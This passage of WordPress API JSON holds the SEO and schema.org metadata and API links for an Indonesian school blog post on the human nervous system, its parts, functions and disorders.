gangguan yang dapat terjadi!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-07-01T02:00:42+00:00","article_modified_time":"2026-01-19T23:25:43+00:00","author":"Devi Lianovanda","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Devi Lianovanda","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia","url":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia","name":"Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1405eca1-ba79-4d44-80d5-ea831dd75dcd.png","datePublished":"2025-07-01T02:00:42+00:00","dateModified":"2026-01-19T23:25:43+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac"},"description":"Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan gangguan yang dapat terjadi!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1405eca1-ba79-4d44-80d5-ea831dd75dcd.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1405eca1-ba79-4d44-80d5-ea831dd75dcd.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac","name":"Devi Lianovanda","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g","caption":"Devi Lianovanda"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/devi-lianovanda"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1568","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/43"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=1568"}],"version-history":[{"count":3,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1568\/revisions"}],"predecessor-version":[{"id":1943,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1568\/revisions\/1943"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1568"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=1568"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=1568"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=1568"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}